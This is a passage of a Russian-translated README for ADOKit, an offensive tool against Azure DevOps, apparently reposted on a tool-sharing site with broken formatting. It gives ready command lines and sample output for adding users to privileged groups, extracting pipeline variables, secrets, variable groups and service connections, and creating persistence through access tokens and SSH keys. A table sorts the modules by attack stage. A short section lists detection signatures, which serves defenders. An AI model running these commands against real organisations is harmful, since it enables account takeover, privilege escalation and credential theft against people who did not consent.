[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[*] INFO: Attempting to remove user1 from the Project Collection Build Service Accounts group.

[+] SUCCESS: User successfully removed

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

4/5/23 12:22:28 Finished execution of removecollectionbuildsvc

Добавление учетной записи службы коллекции

Вариант использования

Добавить пользователя в группу Project Collection Service Accounts.

Синтаксис

Предоставьте модуль addcollectionsvc вместе с параметром /user: для указанного пользователя, которого нужно добавить в группу Project Collection Service Accounts. Кроме того, укажите соответствующую информацию об аутентификации и URL. См. Таблицу сведений о модулях для получения информации о разрешениях, необходимых для выполнения этого действия.

ADOKit.exe addcollectionsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"

ADOKit.exe addcollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"

Пример вывода```

C:>ADOKit.exe addcollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

================================================== Module: addcollectionsvc Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/5/2023 11:21:01 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[*] INFO: Attempting to add user1 to the Project Collection Service Accounts group.

[+] SUCCESS: User successfully added

root@kitploit:~
                                                             Group |                                       Mail Address |                                       Display Name

root@kitploit:~
     [YourOrganization]\Project Collection Service Accounts |          [email protected] |                                        John Smith
     [YourOrganization]\Project Collection Service Accounts |             [email protected] |                                             User 1

4/5/23 15:21:04 Finished execution of addcollectionsvc

root@kitploit:~
### Remove Collection Service Account

#### Вариант использования

> *Удаление пользователя из группы Project Collection Service Accounts.*

#### Синтаксис

Предоставьте модуль `removecollectionsvc` вместе с `/user:` для заданного пользователя, которого нужно удалить из группы `Project Collection Service Accounts`. Также укажите соответствующую информацию для аутентификации и URL. См. [Таблицу сведений о модулях](#module-details-table) для получения информации о правах, необходимых для выполнения этого действия.

`ADOKit.exe removecollectionsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`

`ADOKit.exe removecollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`

#### Пример вывода```
C:\>ADOKit.exe removecollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

==================================================
Module:         removecollectionsvc
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/5/2023 11:21:43 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[*] INFO: Attempting to remove user1 from the Project Collection Service Accounts group.

[+] SUCCESS: User successfully removed

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
         [YourOrganization]\Project Collection Service Accounts |          [email protected] |                                        John Smith

4/5/23 15:21:44 Finished execution of removecollectionsvc

Получить переменные конвейера

Вариант использования

Извлечение всех переменных конвейера, используемых в проекте(ах), которые могут содержать учетные данные или другую полезную информацию.

Синтаксис

Укажите модуль getpipelinevars вместе с /project: для заданного проекта, чтобы извлечь используемые переменные конвейера. Если вы хотите извлечь переменные конвейера из всех проектов, укажите all в аргументе /project:.

ADOKit.exe getpipelinevars /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"

ADOKit.exe getpipelinevars /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"

ADOKit.exe getpipelinevars /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"

ADOKit.exe getpipelinevars /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"

Пример вывода```

C:>ADOKit.exe getpipelinevars /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"

================================================== Module: getpipelinevars Auth Type: Cookie Project: maraudersmap Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/6/2023 12:08:35 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
         Pipeline Var Name |                                 Pipeline Var Value

root@kitploit:~
                credential |                                       P@ssw0rd123!
                       url |                                       http://blah/

4/6/23 16:08:36 Finished execution of getpipelinevars

root@kitploit:~
### Получить секреты конвейеров

#### Вариант использования

> *Извлекает имена любых секретов конвейеров, используемых в проекте(ах), что укажет оператору, где следует попытаться выполнить извлечение секретов.*

#### Синтаксис

Предоставьте модуль `getpipelinesecrets` вместе с аргументом `/project:` для конкретного проекта, чтобы извлечь имена любых используемых секретов конвейеров. Если вы хотите извлечь имена секретов конвейеров из всех проектов, укажите `all` в аргументе `/project:`.

`ADOKit.exe getpipelinesecrets /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"`

`ADOKit.exe getpipelinesecrets /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"`

`ADOKit.exe getpipelinesecrets /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"`

`ADOKit.exe getpipelinesecrets /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"`

#### Пример вывода```
C:\>ADOKit.exe getpipelinesecrets /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"

==================================================
Module:         getpipelinesecrets
Auth Type:      Cookie
Project:        maraudersmap
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/10/2023 10:28:37 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

             Build Secret Name |   Build Secret Value
-----------------------------------------------------
             anotherSecretPass |             [HIDDEN]
                    secretpass |             [HIDDEN]

4/10/23 14:28:38 Finished execution of getpipelinesecrets

Получить группы переменных

Вариант использования

Извлечение любой группы переменных и соответствующих переменных, используемых в проектах, которые могут содержать учетные данные или другую полезную информацию.

Синтаксис

Укажите модуль getvariablegroups вместе с /project: для заданного проекта, чтобы извлечь используемые группы переменных. Если вы хотите извлечь группы переменных из всех проектов, укажите all в аргументе /project:.

ADOKit.exe getvariablegroups /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"

ADOKit.exe getvariablegroups /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"

ADOKit.exe getvariablegroups /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"

ADOKit.exe getvariablegroups /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"

Пример вывода```

C:>ADOKit.exe getvariablegroups /credential:"ABC123" /url:https://dev.azure.com/YourOrganization /project:"ADOKit"

================================================== Module: getvariablegroups Auth Type: Cookie Project: ADOKit Target URL: https://dev.azure.com/YourOrganization

Timestamp: 16/05/2024 16:53:31

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
       Variable Group Name |                  Variable Name |                                     Variable Value

root@kitploit:~
       real-test-variables |                  test_password |                                      BurpIsNotBeef
       real-test-variables |                      test_user |                                            nicolas
       fake-prod-variables |                    SUPERSECRET |                                           [HIDDEN]
       fake-prod-variables |                 SUPERNOTSECRET |                             ThisShouldBeSecured :/
root@kitploit:~
### Получить служебные подключения

#### Вариант использования

> *Вывести список всех служебных подключений, используемых в проекте(ах), что укажет оператору, где следует попытаться извлечь учетные данные для этих подключений.*

#### Синтаксис

Укажите модуль `getserviceconnections` вместе с аргументом `/project:` для конкретного проекта, чтобы вывести список используемых служебных подключений. Если требуется вывести подключения из всех проектов, укажите `all` в аргументе `/project:`.

`ADOKit.exe getserviceconnections /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"`

`ADOKit.exe getserviceconnections /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"`

`ADOKit.exe getserviceconnections /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"`

`ADOKit.exe getserviceconnections /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"`

#### Пример вывода```
C:\>ADOKit.exe getserviceconnections /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"

==================================================
Module:         getserviceconnections
Auth Type:      Cookie
Project:        maraudersmap
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/11/2023 8:34:16 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                                             Connection Name |      Connection Type |                                                           ID
--------------------------------------------------------------------------------------------------------------------------------------------------
                                        Test Connection Name |              generic |                         195d960c-742b-4a22-a1f2-abd2c8c9b228
                                         Not Real Connection |              generic |                         cd74557e-2797-498f-9a13-6df692c22cac
  Azure subscription 1(47c5aaab-dbda-44ca-802e-00801de4db23) |              azurerm |                         5665ed5f-3575-4703-a94d-00681fdffb04
Azure subscription 1(1)(47c5aaab-dbda-44ca-802e-00801de4db23) |              azurerm |                         df8c023b-b5ad-4925-a53d-bb29f032c382

4/11/23 12:34:16 Finished execution of getserviceconnections

Обнаружение

Ниже приведены статические сигнатуры для конкретного использования этого инструмента в его состоянии по умолчанию:

  • Project GUID - {60BC266D-1ED5-4AB5-B0DD-E1001C3B1498}
    • См. ADOKit Yara Rule в этом репозитории.
  • User Agent String - ADOKit-21e233d4334f9703d1a3a42b6e2efd38
    • См. ADOKit Snort Rule в этом репозитории.
  • Microsoft Sentinel Rules
    • ADOKitUsage.json - Обнаруживает использование ADOKit с любым аудируемым событием (например, добавление пользователя в группу)
    • PersistenceTechniqueWithADOKit.json - Обнаруживает создание PAT или SSH-ключа с помощью ADOKit

Для получения рекомендаций по обнаружению техник, используемых инструментом, см. whitepaper от X-Force Red.

План развития

  • Поддержка Azure DevOps Server

Ссылки

  • https://learn.microsoft.com/en-us/rest/api/azure/devops/?view=azure-devops-rest-7.1
  • https://learn.microsoft.com/en-us/azure/devops/user-guide/what-is-azure-devops?view=azure-devops
Скачать инструмент
  • Удалить учетную запись службы сборок коллекции
  • Добавить учетную запись службы коллекции
  • Удалить учетную запись службы коллекции
  • Получить переменные конвейера
  • Получить секреты конвейера
  • Получить группы переменных
  • Получить подключения служб
  • listpat - Вывести список персональных токенов доступа для пользователя
  • removepat - Удалить персональный токен доступа для пользователя
  • createsshkey - Создать открытый SSH-ключ для пользователя
  • listsshkey - Вывести список открытых SSH-ключей для пользователя
  • removesshkey - Удалить открытый SSH-ключ для пользователя
  • Повышение привилегий
    • addprojectadmin - Добавить пользователя в группу "Project Administrators" для заданного проекта
    • removeprojectadmin - Удалить пользователя из группы "Project Administrators" для заданного проекта
    • addbuildadmin - Добавить пользователя в группу "Build Administrators" для заданного проекта
    • removebuildadmin - Удалить пользователя из группы "Build Administrators" для заданного проекта
    • addcollectionadmin - Добавить пользователя в группу "Project Collection Administrators"
    • removecollectionadmin - Удалить пользователя из группы "Project Collection Administrators"
    • addcollectionbuildadmin - Добавить пользователя в группу "Project Collection Build Administrators"
    • removecollectionbuildadmin - Удалить пользователя из группы "Project Collection Build Administrators"
    • addcollectionbuildsvc - Добавить пользователя в группу "Project Collection Build Service Accounts"
    • removecollectionbuildsvc - Удалить пользователя из группы "Project Collection Build Service Accounts"
    • addcollectionsvc - Добавить пользователя в группу "Project Collection Service Accounts"
    • removecollectionsvc - Удалить пользователя из группы "Project Collection Service Accounts"
    • getpipelinevars - Извлечь все переменные конвейера для заданного проекта.
    • getpipelinesecrets - Извлечь имена всех секретов конвейера для заданного проекта.
    • getvariablegroups - Извлечь все группы переменных и соответствующие переменные, используемые для заданного проекта.
    • getserviceconnections - Извлечь подключения служб, используемые для заданного проекта.
  • Сценарий атакиМодульОсобые разрешения?Примечания
    РазведкаcheckНет
    РазведкаwhoamiНет
    РазведкаlistorgsНет
    РазведкаlistrepoНет
    РазведкаsearchrepoНет
    РазведкаlistprojectНет
    РазведкаsearchprojectНет
    РазведкаsearchcodeНет
    РазведкаsearchfileНет
    РазведкаlistuserНет
    РазведкаsearchuserНет
    РазведкаlistteamНет
    РазведкаsearchteamНет
    РазведкаgetteammembersНет
    РазведкаlistgroupНет
    РазведкаsearchgroupНет
    РазведкаgetgroupmembersНет
    РазведкаgetpermissionsНет
    РазведкаcredsНет
    РазведкаgetbuildlogsДа - Contributors или Readers или Build Administrators или Project Administrators или Project Team Member или Project Collection Test Service Accounts или Project Collection Build Service Accounts или Project Collection Build Administrators или Project Collection Service Accounts или Project Collection Administrators
    РазведкаlistbuildlogsДа - Contributors или Readers или Build Administrators или Project Administrators или Project Team Member или Project Collection Test Service Accounts или Project Collection Build Service Accounts или Project Collection Build Administrators или Project Collection Service Accounts или Project Collection Administrators
    РазведкаsearchbuildlogsДа - Contributors или Readers или Build Administrators или Project Administrators или Project Team Member или Project Collection Test Service Accounts или Project Collection Build Service Accounts или Project Collection Build Administrators или Project Collection Service Accounts или Project Collection Administrators
    ЗакреплениеcreatepatНет
    ЗакреплениеlistpatНет
    ЗакреплениеremovepatНет
    ЗакреплениеcreatesshkeyНет
    ЗакреплениеlistsshkeyНет
    ЗакреплениеremovesshkeyНет
    Повышение привилегийaddprojectadminДа - Project Administrator, Project Collection Administrator или Project Collection Service Accounts
    Повышение привилегийremoveprojectadminДа - Project Administrator, Project Collection Administrator или Project Collection Service Accounts
    Повышение привилегийaddbuildadminДа - Project Administrator, Project Collection Administrator или Project Collection Service Accounts
    Повышение привилегийremovebuildadminДа - Project Administrator, Project Collection Administrator или Project Collection Service Accounts
    Повышение привилегийaddcollectionadminДа - Project Collection Administrator или Project Collection Service Accounts
    Повышение привилегийremovecollectionadminДа - Project Collection Administrator или Project Collection Service Accounts
    Повышение привилегийaddcollectionbuildadminДа - Project Collection Administrator или Project Collection Service Accounts
    Повышение привилегийremovecollectionbuildadminДа - Project Collection Administrator или Project Collection Service Accounts
    Повышение привилегийaddcollectionbuildsvcДа - Project Collection Administrator, Project Colection Build Administrators или Project Collection Service Accounts
    Повышение привилегийremovecollectionbuildsvcДа - Project Collection Administrator, Project Colection Build Administrators или Project Collection Service Accounts
    Повышение привилегийaddcollectionsvcДа - Project Collection Administrator или Project Collection Service Accounts
    Повышение привилегийremovecollectionsvcДа - Project Collection Administrator или Project Collection Service Accounts
    Повышение привилегийgetpipelinevarsДа - Contributors или Readers или Build Administrators или Project Administrators или Project Team Member или Project Collection Test Service Accounts или Project Collection Build Service Accounts или Project Collection Build Administrators или Project Collection Service Accounts или Project Collection Administrators
    Повышение привилегийgetpipelinesecretsДа - Contributors или Readers или Build Administrators или Project Administrators или Project Team Member или Project Collection Test Service Accounts или Project Collection Build Service Accounts или Project Collection Build Administrators или Project Collection Service Accounts или Project Collection Administrators
    Повышение привилегийgetvariablegroupsДа - Contributors или Readers или Build Administrators или Project Administrators или Project Team Member или Project Collection Test Service Accounts или Project Collection Build Service Accounts или Project Collection Build Administrators или Project Collection Service Accounts или Project Collection Administrators
    Повышение привилегийgetserviceconnectionsДа - Project Administrator, Project Collection Administrator или Project Collection Service Accounts